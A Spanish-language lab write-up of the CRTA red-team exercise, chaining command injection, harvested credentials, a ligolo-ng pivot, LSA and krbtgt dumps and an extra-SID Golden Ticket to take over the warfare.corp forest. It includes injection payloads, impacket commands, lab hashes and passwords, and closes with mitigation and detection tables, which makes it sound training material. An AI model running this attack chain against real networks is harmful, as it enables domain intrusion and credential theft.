CRTA Lab — Multi-Tier Active Directory Attack Chain (warfare.corp)
Cadena de compromiso del dominio warfare.corp: command injection en web pública → credenciales en /etc/passwd y bookmarks de Firefox → pivote con ligolo-ng → dump LSA → compromiso del child DC → Golden Ticket con extra-SID sobre el dominio padre. Con guardrails de mitigación.
CRTA Lab — Multi-Tier Active Directory Attack Chain (warfare.corp)
Laboratorio: CRTA (Certified Red Team Analyst) — CWL Objetivo: comprometer el dominio
warfare.corpa través de una cadena multi-tier de Active Directory. Scope: VPN10.10.200.0/24· externa192.168.80.0/24(excluido.1) · interna192.168.98.0/24(excluido.1)
1. Executive Summary & Attack Surface
El laboratorio modela una cadena de suministro de credenciales: cada eslabón entrega la credencial que habilita el siguiente, sin ningún paso "mágico". El compromiso pasa de una RCE web sin credenciales a una contraseña en useradd de /etc/passwd, de ahí a un bookmark de Firefox con credenciales de dominio, de ahí a un dump LSA que revela la cuenta de un manager, y finalmente al hash de krbtgt del child DC — usado para forjar un Golden Ticket con extra-SID que rompe la confianza parent-child del bosque.
Cadena de ataque
2. Privilege Escalation & Lateral Movement Path
2.1 Externos — RCE sin credenciales y el primer secreto
openvpn --config crta_6a5aef3c8aed14e94c88a3c5.ovpn --auth-user-pass vpn-auth
nmap -sn 192.168.80.0/24 # único host vivo: 192.168.80.10
nmap -sC -sV 192.168.80.10 # 22/tcp SSH · 80/tcp Apache/2.4.41 (Ubuntu)
Registro público (registration.php) → dashboard con campo "Newsletter email". El input se concatena a un comando sin sanitización:
POST /dashboard1.php
EMAIL=test@test.com;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La enumeración posterior revela dos datos críticos en /etc/passwd y en la topología de red:
- El usuario
privilegetiene una contraseña en claro incrustada:Admin@962. - La máquina tiene dos interfaces:
ens32 (192.168.80.10/24)yens34 (192.168.98.15/24)— un pie en la red interna que no es alcanzable desde la VPN.
ssh privilege@192.168.80.10 # pass: Admin@962
2.2 El segundo secreto — Firefox bookmarks
Firefox guarda bookmarks y credenciales en SQLite (places.sqlite). Un bookmark de un usuario administrativo contenía las credenciales de acceso al panel interno:
cd ~/.mozilla/firefox/b2rri1qd.default-release/
sqlite3 places.sqlite "select * from moz_bookmarks;"
URL: http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&pass=User1@#$%6
john es usuario del dominio child.warfare.corp y el target 192.168.98.30 (MGMT) está en la red interna.
2.3 Pivote — ligolo-ng sobre SSH rate-limited
El túnel SOCKS vía SSH (-D 1080) era inestable por el rate limiting del SSH (≈1 conexión/10s), y proxychains con impacket generaba timeouts. Se optó por ligolo-ng, un túnel L3 TUN/TAP sobre TCP/TLS:
# Atacante
./proxy -selfcert -laddr 0.0.0.0:8080
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.98.0/24 dev ligolo
# Víctima (192.168.80.10)
scp ligolo-agent privilege@192.168.80.10:/tmp/
ssh privilege@192.168.80.10
/tmp/ligolo-agent -connect 10.10.200.38:8080 -ignore-cert
Con el túnel TUN activo, 192.168.98.30 (MGMT), 192.168.98.120 (CDC, child DC) y 192.168.98.2 (DC01, parent DC) responden como si estuviéramos en la red interna.
2.4 MGMT — credenciales de dominio y dump LSA
crackmapexec smb target.txt -u john -p 'User1@#$%6'
# john es administrador LOCAL en MGMT (192.168.98.30)
impacket-psexec "child.warfare.corp/john:User1@#\$%6@192.168.98.30" # NT AUTHORITY\SYSTEM
impacket-secretsdump "child.warfare.corp/john:User1@#\$%6@192.168.98.30"
[*] _SC_SNMPTRAP
corpmngr@child.warfare.corp:User4&*&*
Root cause del hallazgo: el servicio SNMPTRAP almacena su credencial de arranque en texto claro en las LSA secrets del registro. Cualquier usuario con admin local + secretsdump la recupera. corpmngr ("Corporate Manager") es el eslabón hacia el DC.
2.5 Child DC — krbtgt y los SIDs del bosque
crackmapexec smb target.txt -u corpmngr -p 'User4&*&*' # admin local en CDC (192.168.98.120)
impacket-secretsdump -just-dc-user 'child\krbtgt' 'child/corpmngr:User4&*&*@cdc.child.warfare.corp'
lookupsid.py child/corpmngr:'User4&*&*'@child.warfare.corp
lookupsid.py child/corpmngr:'User4&*&*'@warfare.corp
Hash krbtgt |
Valor |
|---|---|
| NTLM | e57dd34c1871b7a23fb17a77dec9b900 |
| AES256 | ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 |
| Dominio | SID |
|---|---|
child.warfare.corp |
S-1-5-21-3754860944-83624914-1883974761 |
warfare.corp (parent) |
S-1-5-21-3375883379-808943238-3239386119 |
2.6 Parent DC — Golden Ticket con extra-SID
Un Golden Ticket normal forja tickets solo en el dominio emisor. La escalada al padre usa SID History: se inyecta el SID del grupo Domain Admins (RID 516) del dominio padre en el ticket del child, y el DC del padre lo trata como membresía real:
impacket-ticketer \
-domain child.warfare.corp \
-aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 \
-domain-sid S-1-5-21-3754860944-83624914-1883974761 \
-groups 516 \
-user-id 1106 \
-extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 \
'corpmngr' # → corpmngr.ccache
export KRB5CCNAME=corpmngr.ccache
impacket-getST -spn 'CIFS/dc01.warfare.corp' -k -no-pass 'child.warfare.corp/corpmngr'
impacket-secretsdump -k -no-pass 'dc01.warfare.corp' -just-dc-user 'warfare\Administrator'
Administrator:500:...:b2ab0552928c8399da5161a9eb7fd283:::
Administrator:aes256-cts-hmac-sha1-96:b8844cc6622c448c9b9f657e7a67ad7f9f26fa2c1c7520b7f1ad28389c6fdb91
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283 \
'warfare/Administrator@dc01.warfare.corp'
# NT AUTHORITY\SYSTEM en dc01.warfare.corp — dominio comprometido
2.7 Credenciales obtenidas
| # | Usuario | Credencial | Rol comprometido |
|---|---|---|---|
| 1 | privilege |
Admin@962 |
Host externo Linux |
| 2 | john |
User1@#$%6 |
Admin local en MGMT |
| 3 | corpmngr |
User4&*&* |
Admin local en CDC (child DC) |
| 4 | Administrator |
b2ab0552928c8399da5161a9eb7fd283 |
Dominio padre warfare.corp |
3. Mitigation & Guardrails
3.1 Por eslabón de la cadena
| Eslabón | Root cause | Guardrail |
|---|---|---|
| Command injection | Input sin sanitizar concatenado a mail()/shell |
Validación + allowlist de caracteres en el email; disable_functions |
Admin@962 en /etc/passwd |
Credencial en claro en useradd |
Nunca almacenar secretos en archivos de sistema; rotar contraseñas de servicio |
| Credenciales en Firefox bookmarks | Uso de credenciales de admin en navegador del usuario | Política de prohibición de credenciales admin en bookmarks; Password Manager centralizado (LAPS/DPAPI) |
john admin local en MGMT |
Grupos de usuarios de dominio en Administrators |
Principio de mínimo privilegio local (LAPS, Protected Users) |
LSA secrets en claro (SNMPTRAP) |
Cuentas de servicio con contraseña en LSA | Usar gMSA (group Managed Service Accounts) y activar LSA Protection (RunAsPPL) |
corpmngr admin local en DC |
Usuarios con admin local en Domain Controllers | Nunca: ningún usuario, salvo Domain Admins, debe ser admin local de un DC |
| Golden Ticket + extra-SID | Confianza parent-child con SID filtering ausente | Activar SID Filtering / Selective Authentication en la trust; auditar SID History (RID 500/516/519) |
krbtgt dump |
— | Rotación de krbtgt tras un compromiso (2x con espera de replicación); detectar tickets con ticketer/Kerberos anomaly |
3.2 Detección
| Señal | Fuente |
|---|---|
secretsdump sobre un host (lecturas masivas de SAM/SYSTEM/SECURITY) |
Windows Event 1102/4697, Sysmon |
impacket-psexec (creación de servicio remoto PSEXESVC) |
Event 7045 (service install) |
| Golden ticket con SID de otro dominio en el PAC | Kerberos TGS con SIDHistory de otro dominio — alertas de tienda de SIEM |
lookupsid.py (LDAP anónimo/delegado de RIDs) |
Eventos LDAP de enumeración (MSAD:Computer queries) |
| LSA secrets leídas remotamente | 4624 (logon tipo 3) + acceso a \PIPE\lsarpc |
3.3 Orden de prioridad
- Activar SID Filtering en la trust parent-child — corta el vector de escalada final.
- Migrar cuentas de servicio a gMSA + LSA Protection — elimina las LSA secrets en claro.
- Restringir admin local en MGMT/CDC y nunca en DCs.
- Validar input web y eliminar credenciales de
/etc/passwdy bookmarks. - Rotar
krbtgty planificar el incidente como forest compromise.